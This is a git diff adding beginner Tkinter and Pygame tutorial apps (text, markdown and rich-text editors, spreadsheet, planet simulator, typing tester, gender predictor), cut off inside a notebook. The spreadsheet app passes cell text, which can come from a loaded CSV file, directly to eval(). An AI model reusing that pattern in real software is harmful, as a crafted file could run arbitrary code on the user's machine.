b/gui-programming/genderize-app/genderize_app.py @@ -0,0 +1,91 @@ +# importing everything from tkinter +from tkinter import * + +# the requests will be used for making requests to the API +import requests + +# tkinter message box to display errors +from tkinter.messagebox import showerror + + +def predict_gender(): + # executes when code has no errors + try: + # getting the input from entry + entered_name = name_entry.get() + # making a request to the API, the user's entered name is injected in the url + response = requests.get(f'https://api.genderize.io/?name={entered_name}').json() + # getting name from the response + name = response['name'] + # getting gender from the response + gender = response['gender'] + # getting probability from the response + probability = 100 * response['probability'] + # adding name to the label that was empty, the name is being uppercased + name_label.config(text='The name is ' + name.upper()) + # adding gender to the label that was empty, the gender is being uppercased + gender_label.config(text='The gender is ' + gender.upper()) + # adding probability to the label that was empty + probability_label.config(text='Am ' + str(probability) + '%' + ' accurate') + # executes when errors are caught + # KeyError, ConnectionTimeoutError + except: + showerror(title='error', message='An error occurred!! Make sure you have internet connection or you have entered the correct data') + + +# colors for the application +gold = '#dca714' +brown = '#31251d' + +# creating the main window +window = Tk() +# defining the demensions of the window, width(325), height(300), 500+200 center the window +window.geometry('325x300+500+200') +# this is the title of the application +window.title('Gender Predictor') +# this makes the window unresizable +window.resizable(height=FALSE, width=FALSE) + +"""The two frames""" +# this is the top frame inside the main window +top_frame = Frame(window, bg=brown, width=325, height=80) +top_frame.grid(row=0, column=0) + +# this is the bottom frame inside the main window +bottom_frame = Frame(window, width=300, height=250) +bottom_frame.grid(row=1, column=0) + +# the label for the big title inside the top_frame +first_label = Label(top_frame, text='GENDER PREDICTOR', bg=brown, fg=gold, pady=10, padx=20, justify=CENTER, font=('Poppins 20 bold')) +first_label.grid(row=0, column=0) + +# the label for the small text inside the top_frame +second_label = Label(top_frame, text='Give me any name and i will predict its gender', bg=brown, fg=gold, font=('Poppins 10')) +second_label.grid(row=1, column=0) + +"""below are widgets inside the top_frame""" +# the name label +label = Label(bottom_frame, text='NAME:', font=('Poppins 10 bold'), justify=LEFT) +label.place(x=4, y=10) + +# the entry for entering the user's name +name_entry = Entry(bottom_frame, width=25, font=('Poppins 15 bold')) +name_entry.place(x=5, y=35) + +# the empty name label, it will be used to display the name +name_label = Label(bottom_frame, text='', font=('Poppins 10 bold')) +name_label.place(x=5, y=70) + +# the empty gender label, it will be used to display the gender +gender_label = Label(bottom_frame, text='', font=('Poppins 10 bold')) +gender_label.place(x=5, y=90) + +# the empty probability label, it will be used to display the gender probalility +probability_label = Label(bottom_frame, text='', font=('Poppins 10 bold')) +probability_label.place(x=5, y=110) + +# the predict button +predict_button = Button(bottom_frame, text="PREDICT", bg=gold, fg=brown, font=('Poppins 10 bold'), command=predict_gender) +predict_button.place(x=5, y=140) + +window.mainloop() \ No newline at end of file diff --git a/gui-programming/genderize-app/requirements.txt b/gui-programming/genderize-app/requirements.txt new file mode 100644 index 00000000..663bd1f6 --- /dev/null +++ b/gui-programming/genderize-app/requirements.txt @@ -0,0 +1 @@ +requests \ No newline at end of file diff --git a/gui-programming/markdown-editor/README.md b/gui-programming/markdown-editor/README.md new file mode 100644 index 00000000..250aaa08 --- /dev/null +++ b/gui-programming/markdown-editor/README.md @@ -0,0 +1 @@ +# [How to Make a Markdown Editor using Tkinter in Python](https://www.thepythoncode.com/article/markdown-editor-with-tkinter-in-python) \ No newline at end of file diff --git a/gui-programming/markdown-editor/markdown_editor.py b/gui-programming/markdown-editor/markdown_editor.py new file mode 100644 index 00000000..3f2991e5 --- /dev/null +++ b/gui-programming/markdown-editor/markdown_editor.py @@ -0,0 +1,176 @@ +# Imports +from tkinter import * +import ctypes +import re + +# Increas Dots Per inch so it looks sharper +ctypes.windll.shcore.SetProcessDpiAwareness(True) + +# Setup +root = Tk() +root.title('Markdown Editor') +root.geometry('1000x600') + +# Setting the Font globaly +root.option_add('*Font', 'Courier 15') + + +def changes(event=None): + display['state'] = NORMAL + + # Clear the Display Area + display.delete(1.0, END) + + # Insert the content of the Edit Area into the Display Area + text = editor.get('1.0', END) + + # Save Raw Text for later + textRaw = text + + # Remove Unwanted Characters + text = ''.join(text.split('#')) + text = ''.join(text.split('*')) + + display.insert(1.0, text) + + # Loop through each replacement, unpacking it fully + for pattern, name, fontData, colorData, offset in replacements: + + # Get the location indices of the given pattern + locations = search_re(pattern, textRaw, offset) + + print(f'{name} at {locations}') + + # Add tags where the search_re function found the pattern + for start, end in locations: + display.tag_add(name, start, end) + + # Configure the tag to use the specified font and color + # to this every time to delete the previous tags + display.tag_config(name, font=fontData, foreground=colorData) + + display['state'] = DISABLED + +def search_re(pattern, text, offset): + matches = [] + text = text.splitlines() + for i, line in enumerate(text): + for match in re.finditer(pattern, line): + matches.append( + (f"{i + 1}.{match.start()}", f"{i + 1}.{match.end() - offset}") + ) + + return matches + +# Convert an RGB tuple to a HEX string using the % Operator +# 02 means print 2 characters +# x means hexadecimal +def rgbToHex(rgb): + return "#%02x%02x%02x" % rgb + +# Style Setup +editorBackground = rgbToHex((40, 40, 40)) +editorTextColor = rgbToHex((230, 230, 230)) +displayBackground = rgbToHex((60, 60, 60)) +displayTextColor = rgbToHex((200, 200, 200)) + +caretColor = rgbToHex((255, 255, 255)) + +# Width of the Textareas in characters +width = 10 + +# Fonts +editorfontName = 'Courier' +displayFontName = 'Calibri' + +# Font Sizes +normalSize = 15 +h1Size = 40 +h2Size = 30 +h3Size = 20 + +# font Colors +h1Color = rgbToHex((240, 240, 240)) +h2Color = rgbToHex((200, 200, 200)) +h3Color = rgbToHex((160, 160, 160)) + +# Replacements tell us were to insert tags with the font and colors given +replacements = [ + [ + '^#[a-zA-Z\s\d\?\!\.]+$', + 'Header 1', + f'{displayFontName} {h1Size}', + h1Color, + 0 + ], [ + '^##[a-zA-Z\s\d\?\!\.]+$', + 'Header 2', + f'{displayFontName} {h2Size}', + h2Color, + 0 + ], [ + '^###[a-zA-Z\s\d\?\!\.]+$', + 'Header 3', + f'{displayFontName} {h3Size}', + h3Color, + 0 + ], [ + '\*.+?\*', + 'Bold', + f'{displayFontName} {normalSize} bold', + displayTextColor, + 2 + ], +] + +# Making the Editor Area +editor = Text( + root, + height=5, + width=width, + bg=editorBackground, + fg=editorTextColor, + border=30, + relief=FLAT, + insertbackground=caretColor +) +editor.pack(expand=1, fill=BOTH, side=LEFT) + +# Bind so every change is registered +editor.bind('', changes) +editor.focus_set() + +# Insert a starting text +editor.insert(INSERT, """#Heading 1 + +##Heading 2 + +###Heading 3 + +This is a *bold* move! + + +- Markdown Editor - + +""") + +# Making the Display Area +display = Text( + root, + height=5, + width=width, + bg=displayBackground, + fg=displayTextColor, + border=30, + relief=FLAT, + font=f"{displayFontName} {normalSize}", +) +display.pack(expand=1, fill=BOTH, side=LEFT) + +# Disable the Display Area so the user cant write in it +# We will have to toggle it so we can insert text +display['state'] = DISABLED + +# Starting the Application +changes() +root.mainloop() diff --git a/gui-programming/planet-simulator/README.md b/gui-programming/planet-simulator/README.md new file mode 100644 index 00000000..5e303da6 --- /dev/null +++ b/gui-programming/planet-simulator/README.md @@ -0,0 +1 @@ +# [How to Make a Planet Simulator with PyGame in Python](https://www.thepythoncode.com/article/make-a-planet-simulator-using-pygame-in-python) \ No newline at end of file diff --git a/gui-programming/planet-simulator/planet_simulator.py b/gui-programming/planet-simulator/planet_simulator.py new file mode 100644 index 00000000..1695b488 --- /dev/null +++ b/gui-programming/planet-simulator/planet_simulator.py @@ -0,0 +1,125 @@ +# Imports +import sys +import pygame + +# We will work with the Vector2 because it has some useful functions. +from pygame.math import Vector2 + +from random import randrange + +import ctypes + +# Enable High Dots Per Inch so the image displayed on the window is sharper. +ctypes.windll.shcore.SetProcessDpiAwareness(1) + +# Configuration +pygame.init() +fps = 60 +fpsClock = pygame.time.Clock() + +# Window Size +windowdim = Vector2(800, 800) +screen = pygame.display.set_mode((int(windowdim.x), int(windowdim.y))) + +# all the Planets are stored here +# They will append themselves. +planets = [] + +# The Planet Class which will handle drawing and calculating planets. +class Planet(): + def __init__(self, position, delta=Vector2(0, 0), radius=10, imovable=False): + + # Where the planet is at the moment + self.position = position + + # The Radius determines how much this planet effects others + self.radius = radius + + # The Velocity + self.delta = delta + + # If this planet is moving + self.imovable = imovable + + # If this planet can be eaten by others. + self.eatable = False + + + # Appending itself to the list so its process + # function will later be called in a loop. + planets.append(self) + + + def process(self): + # This function will be called once every frame + # and it is responsible for calculating where the planet will go. + + # No Movement Calculations will happen if the planet doesnt move at all. + # it also wont be eaten. + if not self.imovable: + for i in planets: + if not i is self: + try: + if self.eatable: + if self.position.distance_to(i.position) < self.radius + i.radius: + print('Eaten') + i.radius += self.radius + planets.remove(self) + dir_from_obj = (i.position - self.position).normalize() * 0.01 * (i.radius / 10) + self.delta += dir_from_obj + except: + print('In the same spot') + + self.position += self.delta + + # Drawing the planet at the current position. + pygame.draw.circle( + screen, + [255, 255, 255], + self.position, + self.radius, + ) + +# Sun and two opposing Planets +""" Planet(Vector2(400, 400), radius=50, imovable=True) + +Planet(Vector2(400, 200), delta=Vector2(3, 0), radius=10) +Planet(Vector2(400, 600), delta=Vector2(-3, 0), radius=10) """ + +# Sun and four opposing Planets +Planet(Vector2(400, 400), radius=50, imovable=True) + +Planet(Vector2(400, 200), delta=Vector2(3, 0), radius=10) +Planet(Vector2(400, 600), delta=Vector2(-3, 0), radius=10) +Planet(Vector2(600, 400), delta=Vector2(0, 3), radius=10) +Planet(Vector2(200, 400), delta=Vector2(0, -3), radius=10) + +# Two Suns and two planets +""" Planet(Vector2(600, 400), radius=20, imovable=True) +Planet(Vector2(200, 400), radius=20, imovable=True) + +Planet(Vector2(400, 200), delta=Vector2(0, 0), radius=10) +Planet(Vector2(400, 210), delta=Vector2(1, 2), radius=5) """ + +# Grid +# gridDimension = 10 +# gridgap = 80 +# for x in range(gridDimension): +# for y in range(gridDimension): +# Planet(Vector2(gridgap * x + 40, gridgap * y + 40), radius=3, imovable=True) + +# Planet(Vector2(200, 200), delta=Vector2(randrange(-3, 3), 2), radius=5) + +# Game loop. +while True: + screen.fill((0, 0, 0)) + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + + for p in planets: + p.process() + + pygame.display.flip() + fpsClock.tick(fps) diff --git a/gui-programming/planet-simulator/requirements.txt b/gui-programming/planet-simulator/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/planet-simulator/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/python-code-editor/README.md b/gui-programming/python-code-editor/README.md new file mode 100644 index 00000000..9c037429 --- /dev/null +++ b/gui-programming/python-code-editor/README.md @@ -0,0 +1 @@ +# [How to Make a Python Code Editor using Tkinter in Python](https://www.thepythoncode.com/article/python-code-editor-using-tkinter-python) \ No newline at end of file diff --git a/gui-programming/python-code-editor/python_code_editor.py b/gui-programming/python-code-editor/python_code_editor.py new file mode 100644 index 00000000..f01fbe98 --- /dev/null +++ b/gui-programming/python-code-editor/python_code_editor.py @@ -0,0 +1,122 @@ +from tkinter import * +import ctypes +import re +import os + +# Increas Dots Per inch so it looks sharper +ctypes.windll.shcore.SetProcessDpiAwareness(True) + +# Setup Tkinter +root = Tk() +root.geometry('500x500') + + +# Execute the Programm +def execute(event=None): + + # Write the Content to the Temporary File + with open('run.py', 'w', encoding='utf-8') as f: + f.write(editArea.get('1.0', END)) + + # Start the File in a new CMD Window + os.system('start cmd /K "python run.py"') + +# Register Changes made to the Editor Content +def changes(event=None): + global previousText + + # If actually no changes have been made stop / return the function + if editArea.get('1.0', END) == previousText: + return + + # Remove all tags so they can be redrawn + for tag in editArea.tag_names(): + editArea.tag_remove(tag, "1.0", "end") + + # Add tags where the search_re function found the pattern + i = 0 + for pattern, color in repl: + for start, end in search_re(pattern, editArea.get('1.0', END)): + editArea.tag_add(f'{i}', start, end) + editArea.tag_config(f'{i}', foreground=color) + + i+=1 + + previousText = editArea.get('1.0', END) + +def search_re(pattern, text, groupid=0): + matches = [] + + text = text.splitlines() + for i, line in enumerate(text): + for match in re.finditer(pattern, line): + + matches.append( + (f"{i + 1}.{match.start()}", f"{i + 1}.{match.end()}") + ) + + return matches + + +def rgb(rgb): + return "#%02x%02x%02x" % rgb + + +previousText = '' + +# Define colors for the variouse types of tokens +normal = rgb((234, 234, 234)) +keywords = rgb((234, 95, 95)) +comments = rgb((95, 234, 165)) +string = rgb((234, 162, 95)) +function = rgb((95, 211, 234)) +background = rgb((42, 42, 42)) +font = 'Consolas 15' + + +# Define a list of Regex Pattern that should be colored in a certain way +repl = [ + ['(^| )(False|None|True|and|as|assert|async|await|break|class|continue|def|del|elif|else|except|finally|for|from|global|if|import|in|is|lambda|nonlocal|not|or|pass|raise|return|try|while|with|yield)($| )', keywords], + ['".*?"', string], + ['\'.*?\'', string], + ['#.*?$', comments], +] + +# Make the Text Widget +# Add a hefty border width so we can achieve a little bit of padding +editArea = Text( + root, + background=background, + foreground=normal, + insertbackground=normal, + relief=FLAT, + borderwidth=30, + font=font +) + +# Place the Edit Area with the pack method +editArea.pack( + fill=BOTH, + expand=1 +) + +# Insert some Standard Text into the Edit Area +editArea.insert('1.0', """from argparse import ArgumentParser +from random import shuffle, choice +import string + +# Setting up the Argument Parser +parser = ArgumentParser( + prog='Password Generator.', + description='Generate any number of passwords with this tool.' +) +""") + +# Bind the KeyRelase to the Changes Function +editArea.bind('', changes) + +# Bind Control + R to the exec function +root.bind('', execute) + +changes() +root.mainloop() diff --git a/gui-programming/rich-text-editor/README.md b/gui-programming/rich-text-editor/README.md new file mode 100644 index 00000000..a9705a8f --- /dev/null +++ b/gui-programming/rich-text-editor/README.md @@ -0,0 +1 @@ +# [How to Make a Rich Text Editor with Tkinter in Python](https://www.thepythoncode.com/article/create-rich-text-editor-with-tkinter-python) \ No newline at end of file diff --git a/gui-programming/rich-text-editor/rich_text_editor.py b/gui-programming/rich-text-editor/rich_text_editor.py new file mode 100644 index 00000000..10c14263 --- /dev/null +++ b/gui-programming/rich-text-editor/rich_text_editor.py @@ -0,0 +1,189 @@ +from tkinter import * +from tkinter.filedialog import askopenfilename, asksaveasfilename +import ctypes +from functools import partial +from json import loads, dumps + +ctypes.windll.shcore.SetProcessDpiAwareness(True) + +# Setup +root = Tk() +root.geometry('600x600') + +# Used to make title of the application +applicationName = 'Rich Text Editor' +root.title(applicationName) + +# Current File Path +filePath = None + +# initial directory to be the current directory +initialdir = '.' + +# Define File Types that can be choosen +validFileTypes = ( + ("Rich Text File","*.rte"), + ("all files","*.*") +) + +# Setting the font and Padding for the Text Area +fontName = 'Bahnschrift' +padding = 60 + +# Infos about the Document are stored here +document = None + +# Default content of the File +defaultContent = { + "content": "", + "tags": { + 'bold': [(), ()] + }, +} + +# Transform rgb to hex +def rgbToHex(rgb): + return "#%02x%02x%02x" % rgb + +# Add Different Types of Tags that can be added to the document. +tagTypes = { + # Font Settings + 'Bold': {'font': f'{fontName} 15 bold'}, + 'Italic': {'font': f'{fontName} 15 italic'}, + 'Code': {'font': 'Consolas 15', 'background': rgbToHex((200, 200, 200))}, + + # Sizes + 'Normal Size': {'font': f'{fontName} 15'}, + 'Larger Size': {'font': f'{fontName} 25'}, + 'Largest Size': {'font': f'{fontName} 35'}, + + # Background Colors + 'Highlight': {'background': rgbToHex((255, 255, 0))}, + 'Highlight Red': {'background': rgbToHex((255, 0, 0))}, + 'Highlight Green': {'background': rgbToHex((0, 255, 0))}, + 'Highlight Black': {'background': rgbToHex((0, 0, 0))}, + + # Foreground / Text Colors + 'Text White': {'foreground': rgbToHex((255, 255, 255))}, + 'Text Grey': {'foreground': rgbToHex((200, 200, 200))}, + 'Text Blue': {'foreground': rgbToHex((0, 0, 255))}, + 'Text green': {'foreground': rgbToHex((0, 255, 0))}, + 'Text Red': {'foreground': rgbToHex((255, 0, 0))}, +} + +# Handle File Events +def fileManager(event=None, action=None): + global document, filePath + + # Open + if action == 'open': + # ask the user for a filename with the native file explorer. + filePath = askopenfilename(filetypes=validFileTypes, initialdir=initialdir) + + + with open(filePath, 'r') as f: + document = loads(f.read()) + + # Delete Content + textArea.delete('1.0', END) + + # Set Content + textArea.insert('1.0', document['content']) + + # Set Title + root.title(f'{applicationName} - {filePath}') + + # Reset all tags + resetTags() + + # Add To the Document + for tagName in document['tags']: + for tagStart, tagEnd in document['tags'][tagName]: + textArea.tag_add(tagName, tagStart, tagEnd) + print(tagName, tagStart, tagEnd) + + elif action == 'save': + document = defaultContent + document['content'] = textArea.get('1.0', END) + + for tagName in textArea.tag_names(): + if tagName == 'sel': continue + + document['tags'][tagName] = [] + + ranges = textArea.tag_ranges(tagName) + + for i, tagRange in enumerate(ranges[::2]): + document['tags'][tagName].append([str(tagRange), str(ranges[i+1])]) + + if not filePath: + # ask the user for a filename with the native file explorer. + newfilePath = asksaveasfilename(filetypes=validFileTypes, initialdir=initialdir) + + # Return in case the User Leaves the Window without + # choosing a file to save + if newfilePath is None: return + + filePath = newfilePath + + if not filePath.endswith('.rte'): + filePath += '.rte' + + with open(filePath, 'w') as f: + print('Saving at: ', filePath) + f.write(dumps(document)) + + root.title(f'{applicationName} - {filePath}') + + +def resetTags(): + for tag in textArea.tag_names(): + textArea.tag_remove(tag, "1.0", "end") + + for tagType in tagTypes: + textArea.tag_configure(tagType.lower(), tagTypes[tagType]) + + +def keyDown(event=None): + root.title(f'{applicationName} - *{filePath}') + + +def tagToggle(tagName): + start, end = "sel.first", "sel.last" + + if tagName in textArea.tag_names('sel.first'): + textArea.tag_remove(tagName, start, end) + else: + textArea.tag_add(tagName, start, end) + + +textArea = Text(root, font=f'{fontName} 15', relief=FLAT) +textArea.pack(fill=BOTH, expand=TRUE, padx=padding, pady=padding) +textArea.bind("", keyDown) + +resetTags() + + +menu = Menu(root) +root.config(menu=menu) + +fileMenu = Menu(menu, tearoff=0) +menu.add_cascade(label="File", menu=fileMenu) + +fileMenu.add_command(label="Open", command=partial(fileManager, action='open'), accelerator='Ctrl+O') +root.bind_all('', partial(fileManager, action='open')) + +fileMenu.add_command(label="Save", command=partial(fileManager, action='save'), accelerator='Ctrl+S') +root.bind_all('', partial(fileManager, action='save')) + +fileMenu.add_command(label="Exit", command=root.quit) + + +formatMenu = Menu(menu, tearoff=0) +menu.add_cascade(label="Format", menu=formatMenu) + +for tagType in tagTypes: + formatMenu.add_command(label=tagType, command=partial(tagToggle, tagName=tagType.lower())) + + +root.mainloop() diff --git a/gui-programming/spreadsheet-app/README.md b/gui-programming/spreadsheet-app/README.md new file mode 100644 index 00000000..9105a098 --- /dev/null +++ b/gui-programming/spreadsheet-app/README.md @@ -0,0 +1 @@ +# [How to Build a Spreadsheet App with Tkinter in Python](https://www.thepythoncode.com/article/spreadsheet-app-using-tkinter-in-python) \ No newline at end of file diff --git a/gui-programming/spreadsheet-app/spreadsheet_app.py b/gui-programming/spreadsheet-app/spreadsheet_app.py new file mode 100644 index 00000000..57515b3f --- /dev/null +++ b/gui-programming/spreadsheet-app/spreadsheet_app.py @@ -0,0 +1,126 @@ +# Imports +from tkinter import * +import string +import sys +import ctypes + +# Increase Dots Per inch so it looks sharper +ctypes.windll.shcore.SetProcessDpiAwareness(True) + +# Define X and Y Axis Lists +xAxis = string.ascii_lowercase[0:7] +yAxis = range(0, 12) + +# Cells will hold the strings vars and the lables +cells = {} + +# Open the content of the given file +# if one was provided and save it as a two +# dimensional list. +CsvContent = '' +if len(sys.argv) > 1: + with open(sys.argv[1], 'r') as f: + CsvContent = f.read().split('\n') + for i, layer in enumerate(CsvContent): + CsvContent[i] = layer.split(',') + +# Make a new Top Level Element (Window) +root = Tk() + +# Set the the title to also mention the given file name +# if there is one +title = "Spreadsheet App" if CsvContent == '' else f"Spreadsheet App - {sys.argv[1]}" +root.title(title) + +# Evaluating a cell +def evaluateCell(cellId, *i): + + # Get the content from the string var + # and make it lowercase + content = cells[cellId][0].get() + content = content.lower() + + # get the reference to the label + label = cells[cellId][1] + + # if the cell starts with a = it is evaluated + if content.startswith('='): + + # Loop through all cells ... + for cell in cells: + + # ... and see if their name appears in this cell + if cell in content.lower(): + + # if it is then replace the name occurences + # with the evaluated content from there. + content = content.replace(cell, str(evaluateCell(cell))) + + # Get the content without the = and try to evaluate it + content = content[1:] + try: + content = eval(content) + except: + content = 'NAN' + label['text'] = content + return content + + # If not, the label just shows the content + else: + label['text'] = content + return content + +# Call the eval function for every cell every ten milliseconds. +def updateAllCells(): + + # Call it again + root.after(10, updateAllCells) + + # Loop through all cells + for cell in cells: + evaluateCell(cell) + + +# Display the Y axis lables +for y in yAxis: + label = Label(root, text = y, width=5, background='white') + label.grid(row=y + 1, column=0) + +# Display the X axis lables with enumerate +for i, x in enumerate(xAxis): + label = Label(root, text = x, width=35, background='white') + label.grid(row=0, column=i + 1, sticky='n') + + +# Display the Cells, by using a nested loop +for y in yAxis: + for xcoor, x in enumerate(xAxis): + + # Generate a Unique ID for the cell with the coordinates + id = f'{x}{y}' + + # Make String Var associated with the Cell + var = StringVar(root, '', id) + + # Make Entry and label, offset each axis by one because of the lables + e = Entry(root, textvariable=var, width=30) + e.grid(row=y + 1, column=xcoor + 1) + + label = Label(root, text = '', width=5) + label.grid(row=y + 1, column=xcoor + 1, sticky='e') + + # Save the string var and a reference to the lables in the dictionary + cells[id] = [var, label] + + # Insert CSV content if it possible + if CsvContent != '': + try: + var.set(CsvContent[y][xcoor]) + except: + pass + +# Start the updating Process +updateAllCells() + +# Run the Mainloop +root.mainloop() diff --git a/gui-programming/text-editor/README.md b/gui-programming/text-editor/README.md new file mode 100644 index 00000000..105bdd1a --- /dev/null +++ b/gui-programming/text-editor/README.md @@ -0,0 +1 @@ +# [How to Make a Text Editor using Tkinter in Python](https://www.thepythoncode.com/article/text-editor-using-tkinter-python) \ No newline at end of file diff --git a/gui-programming/text-editor/text_editor.py b/gui-programming/text-editor/text_editor.py new file mode 100644 index 00000000..8df97bfb --- /dev/null +++ b/gui-programming/text-editor/text_editor.py @@ -0,0 +1,107 @@ +# Import +from tkinter import * +from tkinter import scrolledtext +from tkinter import filedialog +import ctypes +import sys + +# Increas Dots Per inch so it looks sharper +ctypes.windll.shcore.SetProcessDpiAwareness(True) + +# Setup Variables + +appName = 'Simple Text Editor' +nofileOpenedString = 'New File' + +currentFilePath = nofileOpenedString + +# Viable File Types, when opening and saving files. +fileTypes = [("Text Files","*.txt"), ("Markdown","*.md")] + +# Tkinter Setup +window = Tk() + +# Set the first column to occupy 100% of the width +window.grid_columnconfigure(0, weight=1) + +window.title(appName + " - " + currentFilePath) + +# Window Dimensions in Pixel +window.geometry('500x400') + +# Handler Functions +def fileDropDownHandeler(action): + global currentFilePath + + # Opening a File + if action == "open": + file = filedialog.askopenfilename(filetypes = fileTypes) + + window.title(appName + " - " + file) + + currentFilePath = file + + with open(file, 'r') as f: + txt.delete(1.0,END) + txt.insert(INSERT,f.read()) + + # Making a new File + elif action == "new": + currentFilePath = nofileOpenedString + txt.delete(1.0,END) + window.title(appName + " - " + currentFilePath) + + # Saving a file + elif action == "save" or action == "saveAs": + if currentFilePath == nofileOpenedString or action== 'saveAs': + currentFilePath = filedialog.asksaveasfilename(filetypes = fileTypes) + + with open(currentFilePath, 'w') as f: + f.write(txt.get('1.0','end')) + + window.title(appName + " - " + currentFilePath) + +def textchange(event): + window.title(appName + " - *" + currentFilePath) + +# Widgets + +# Text Area +txt = scrolledtext.ScrolledText(window, height=999) +txt.grid(row=1,sticky=N+S+E+W) + +# Bind event in the widget to a function +txt.bind('', textchange) + +# Menu +menu = Menu(window) + +# set tearoff to 0 +fileDropdown = Menu(menu, tearoff=False) + +# Add Commands and and their callbacks +fileDropdown.add_command(label='New', command=lambda: fileDropDownHandeler("new")) +fileDropdown.add_command(label='Open', command=lambda: fileDropDownHandeler("open")) + +# Adding a seperator between button types. +fileDropdown.add_separator() +fileDropdown.add_command(label='Save', command=lambda: fileDropDownHandeler("save")) +fileDropdown.add_command(label='Save as', command=lambda: fileDropDownHandeler("saveAs")) + +menu.add_cascade(label='File', menu=fileDropdown) + +# Set Menu to be Main Menu +window.config(menu=menu) + +# Enabling "open with" by looking if the second argument was passed. +if len(sys.argv) == 2: + currentFilePath = sys.argv[1] + + window.title(appName + " - " + currentFilePath) + + with open(currentFilePath, 'r') as f: + txt.delete(1.0,END) + txt.insert(INSERT,f.read()) + +# Main Loop +window.mainloop() diff --git a/gui-programming/type-speed-tester/README.md b/gui-programming/type-speed-tester/README.md new file mode 100644 index 00000000..bdc1382a --- /dev/null +++ b/gui-programming/type-speed-tester/README.md @@ -0,0 +1 @@ +# [How to Make a Typing Speed Tester with Tkinter in Python](https://www.thepythoncode.com/article/how-to-make-typing-speed-tester-in-python-using-tkinter) \ No newline at end of file diff --git a/gui-programming/type-speed-tester/type_speed_tester.py b/gui-programming/type-speed-tester/type_speed_tester.py new file mode 100644 index 00000000..dec8f71a --- /dev/null +++ b/gui-programming/type-speed-tester/type_speed_tester.py @@ -0,0 +1,123 @@ +from tkinter import * +import ctypes +import random +import tkinter + +# For a sharper window +ctypes.windll.shcore.SetProcessDpiAwareness(1) + +# Setup +root = Tk() +root.title('Type Speed Test') + +# Setting the starting window dimensions +root.geometry('700x700') + +# Setting the Font for all Labels and Buttons +root.option_add("*Label.Font", "consolas 30") +root.option_add("*Button.Font", "consolas 30") + + +# functions +def keyPress(event=None): + try: + if event.char.lower() == labelRight.cget('text')[0].lower(): + # Deleting one from the right side. + labelRight.configure(text=labelRight.cget('text')[1:]) + # Deleting one from the right side. + labelLeft.configure(text=labelLeft.cget('text') + event.char.lower()) + #set the next Letter Lavbel + currentLetterLabel.configure(text=labelRight.cget('text')[0]) + except tkinter.TclError: + pass + + +def resetWritingLabels(): + # Text List + possibleTexts = [ + 'For writers, a random sentence can help them get their creative juices flowing. Since the topic of the sentence is completely unknown, it forces the writer to be creative when the sentence appears. There are a number of different ways a writer can use the random sentence for creativity. The most common way to use the sentence is to begin a story. Another option is to include it somewhere in the story. A much more difficult challenge is to use it to end a story. In any of these cases, it forces the writer to think creatively since they have no idea what sentence will appear from the tool.', + 'The goal of Python Code is to provide Python tutorials, recipes, problem fixes and articles to beginner and intermediate Python programmers, as well as sharing knowledge to the world. Python Code aims for making everyone in the world be able to learn how to code for free. Python is a high-level, interpreted, general-purpose programming language. Its design philosophy emphasizes code readability with the use of significant indentation. Python is dynamically-typed and garbage-collected. It supports multiple programming paradigms, including structured (particularly procedural), object-oriented and functional programming. It is often described as a "batteries included" language due to its comprehensive standard library.', + 'As always, we start with the imports. Because we make the UI with tkinter, we need to import it. We also import the font module from tkinter to change the fonts on our elements later. We continue by getting the partial function from functools, it is a genius function that excepts another function as a first argument and some args and kwargs and it will return a reference to this function with those arguments. This is especially useful when we want to insert one of our functions to a command argument of a button or a key binding.' + ] + # Chosing one of the texts randomly with the choice function + text = random.choice(possibleTexts).lower() + # defining where the text is split + splitPoint = 0 + # This is where the text is that is already written + global labelLeft + labelLeft = Label(root, text=text[0:splitPoint], fg='grey') + labelLeft.place(relx=0.5, rely=0.5, anchor=E) + + # Here is the text which will be written + global labelRight + labelRight = Label(root, text=text[splitPoint:]) + labelRight.place(relx=0.5, rely=0.5, anchor=W) + + # This label shows the user which letter he now has to press + global currentLetterLabel + currentLetterLabel = Label(root, text=text[splitPoint], fg='grey') + currentLetterLabel.place(relx=0.5, rely=0.6, anchor=N) + + # this label shows the user how much time has gone by + global timeleftLabel + timeleftLabel = Label(root, text=f'0 Seconds', fg='grey') + timeleftLabel.place(relx=0.5, rely=0.4, anchor=S) + + global writeAble + writeAble = True + root.bind('', keyPress) + + global passedSeconds + passedSeconds = 0 + + # Binding callbacks to functions after a certain amount of time. + root.after(60000, stopTest) + root.after(1000, addSecond) + +def stopTest(): + global writeAble + writeAble = False + + # Calculating the amount of words + amountWords = len(labelLeft.cget('text').split(' ')) + + # Destroy all unwanted widgets. + timeleftLabel.destroy() + currentLetterLabel.destroy() + labelRight.destroy() + labelLeft.destroy() + + # Display the test results with a formatted string + global ResultLabel + ResultLabel = Label(root, text=f'Words per Minute: {amountWords}', fg='black') + ResultLabel.place(relx=0.5, rely=0.4, anchor=CENTER) + + # Display a button to restart the game + global ResultButton + ResultButton = Button(root, text=f'Retry', command=restart) + ResultButton.place(relx=0.5, rely=0.6, anchor=CENTER) + +def restart(): + # Destry result widgets + ResultLabel.destroy() + ResultButton.destroy() + + # re-setup writing labels. + resetWritingLabels() + +def addSecond(): + # Add a second to the counter. + + global passedSeconds + passedSeconds += 1 + timeleftLabel.configure(text=f'{passedSeconds} Seconds') + + # call this function again after one second if the time is not over. + if writeAble: + root.after(1000, addSecond) + +# This will start the Test +resetWritingLabels() + +# Start the mainloop +root.mainloop() \ No newline at end of file diff --git a/machine-learning/dimensionality-reduction-feature-extraction/DimentionalityReductionUsingFeatureExtraction_PythonCodeTutorial.ipynb b/machine-learning/dimensionality-reduction-feature-extraction/DimentionalityReductionUsingFeatureExtraction_PythonCodeTutorial.ipynb new file mode 100644 index 00000000..2c371aad --- /dev/null +++ b/machine-learning/dimensionality-reduction-feature-extraction/DimentionalityReductionUsingFeatureExtraction_PythonCodeTutorial.ipynb @@ -0,0 +1,341 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "NNamP65y8eGf" + }, + "outputs": [], + "source": [ + "from sklearn import datasets\n", + "from sklearn.discriminant_analysis import LinearDiscriminantAnalysis\n", + "from sklearn.decomposition import PCA, KernelPCA\n", + "from sklearn.datasets import make_circles\n", + "from sklearn.preprocessing import StandardScaler\n", + "from sklearn.decomposition import NMF\n", + "from sklearn.decomposition import TruncatedSVD\n", + "from scipy.sparse import csr_matrix" + ] + }, + { + "cell_type": "code", + "execution_count": 2, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": 